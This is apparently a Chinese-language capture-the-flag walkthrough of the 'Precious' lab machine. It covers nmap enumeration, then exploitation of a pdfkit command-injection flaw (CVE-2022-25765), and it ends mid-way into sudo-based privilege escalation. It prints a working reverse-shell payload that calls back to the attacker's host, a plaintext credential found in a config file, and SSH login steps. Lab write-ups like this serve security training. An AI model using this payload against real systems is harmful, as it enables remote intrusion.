┌──(kali㉿kali)-[~/Downloads/precious] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.129 Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 10:32 EDT Nmap scan report for 192.1.1.129 Host is up (0.00010s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:2F:D8:2A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p22,80 192.1.1.129 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 10:33 EDT Nmap scan report for 192.1.1.129 Host is up (0.00041s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b1:54:4d:49:a6:1c:09:a4:ac:20:ea:15:6d:f4:9e:7b (RSA) | 256 43:3c:c8:cd:0e:bc:d8:d1:92:c4:1a:40:4c:5e:3e:93 (ECDSA) |_ 256 6c:6d:c7:c8:4c:3b:01:b5:ea:59:bb:da:7f:fd:bb:c5 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://precious.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) MAC Address: 00:0C:29:2F:D8:2A (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.8 (99%), Linux 5.0 - 5.5 (98%), Linux 5.0 - 5.4 (97%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 - 3.10 (96%), Linux 5.4 (96%), Linux 2.6.32 (96%), Linux 5.3 - 5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.43 seconds
80 端口重定向到了 precious.htb，将其和 IP 地址的映射写入 /etc/hosts 文件，之后再通过浏览器访问。看一看 udp 扫描的结果
┌──(kali㉿kali)-[~/Downloads/precious] └─$ sudo nmap --script=vuln -p22,80 192.1.1.129 Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 10:38 EDT Nmap scan report for precious.htb (192.1.1.129) Host is up (0.00032s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn\'t find any DOM based XSS. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=precious.htb | Found the following possible CSRF vulnerabilities: | | Path: http://precious.htb:80/ | Form id: |_ Form action: / MAC Address: 00:0C:29:2F:D8:2A (VMware)
Nmap done: 1 IP address (1 host up) scanned in 73.89 seconds
Web 服务查看
打开 precious.htb
是一个将 Web 网页转变成 PDF 的在线网站，将 https://www.baidu.com 和 http://precious.htb 分别放进去试试
Options: -c Custom command mode. Provide command to generate custom payload with. -s Reverse shell mode. Provide local IP and port to generate reverse shell payload with. -w URL of website running vulnerable pdfkit. (Optional) -p POST parameter on website running vulnerable pdfkit. (Optional) -h Show this help menu.
可以看到给出了反弹 shell 的例子，我们提取开启监听，尝试反弹 shell。注意这里 post 体表单参数名叫 url
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection OPTIONS: Reverse Shell Sent to Target Website Mode PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("192.1.1.128","443"))'` LOCALIP: 192.1.1.128:443 WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 443". WEBSITE: http://precious.htb/ POSTARG: url EXPLOIT: Payload sent to website! SUCCESS: Exploit performed action.
ruby@precious:~$ ls -liah ls -liah total 28K 393257 drwxr-xr-x 4 ruby ruby 4.0K Jun 12 04:23 . 393218 drwxr-xr-x 5 root root 4.0K Jun 12 04:23 .. 393274 lrwxrwxrwx 1 ruby ruby 9 Jun 12 04:23 .bash_history -> /dev/null 393258 -rw-r--r-- 1 ruby ruby 220 Jun 12 04:23 .bash_logout 393259 -rw-r--r-- 1 ruby ruby 3.7K Jun 12 04:23 .bashrc 393254 dr-xr-xr-x 2 ruby ruby 4.0K Jun 12 04:23 .bundle 393267 drwxr-xr-x 4 ruby ruby 4.0K Jun 30 14:35 .cache 393260 -rw-r--r-- 1 ruby ruby 807 Jun 12 04:23 .profile
家目录中有两个隐藏文件夹 .bundle 和 .bundle，进去看看
1 2 3 4 5 6 7 8 9 10 11 12
ruby@precious:~$ cd .bundle cd .bundle ruby@precious:~/.bundle$ ls -liah ls -liah total 12K 393254 dr-xr-xr-x 2 ruby ruby 4.0K Jun 12 04:23 . 393257 drwxr-xr-x 4 ruby ruby 4.0K Jun 12 04:23 .. 393266 -r-xr-xr-x 1 ruby ruby 62 Jun 12 04:23 config ruby@precious:~/.bundle$ cat config cat config --- BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
竟然在这里找到了用户名和密码，那就 ssh 登录吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(kali㉿kali)-[~/Downloads/precious] └─$ ssh henry@192.1.1.129 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the ED25519 key sent by the remote host is SHA256:hhZ2PP71pBNZ2j6slM0FYVNYiySWo+MZtY1HNrglpHs. Please contact your system administrator. Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message. Offending ECDSA key in /home/kali/.ssh/known_hosts:10 remove with: ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.1.1.129" Host key for 192.1.1.129 has changed and you have requested strict checking. Host key verification failed.
┌──(kali㉿kali)-[~/Downloads/precious] └─$ ssh henry@192.1.1.129 The authenticity of host '192.1.1.129 (192.1.1.129)' can\'t be established. ED25519 key fingerprint is SHA256:hhZ2PP71pBNZ2j6slM0FYVNYiySWo+MZtY1HNrglpHs. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.1.1.129' (ED25519) to the list of known hosts. Last login: Mon Jun 12 05:13:05 2023 from 192.168.42.1
henry@precious:~$ whoami henry henry@precious:~$ ls -liah total 36K 393261 drwxr-xr-x 5 henry henry 4.0K Jun 12 05:10 . 393218 drwxr-xr-x 5 root root 4.0K Jun 12 04:23 .. 393279 lrwxrwxrwx 1 henry henry 9 Jun 12 04:23 .bash_history -> /dev/null 393262 -rw-r--r-- 1 henry henry 220 Jun 12 04:23 .bash_logout 393263 -rw-r--r-- 1 henry henry 3.9K Jun 12 05:07 .bashrc 393611 drwx------ 2 henry henry 4.0K Jun 12 05:08 .cache 393544 drwx------ 3 henry henry 4.0K Jun 12 04:56 .config 393275 drwxr-xr-x 3 henry henry 4.0K Jun 12 04:23 .local 393264 -rw-r--r-- 1 henry henry 807 Jun 12 04:23 .profile 393612 -rw-r----- 1 henry henry 536 Jun 12 05:01 user.txt 393615 lrwxrwxrwx 1 henry henry 9 Jun 12 05:10 .viminfo -> /dev/null
提权
找到了 user.txt，查看 sudo -l
1 2 3 4 5 6 7
henry@precious:~$ sudo -l Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end
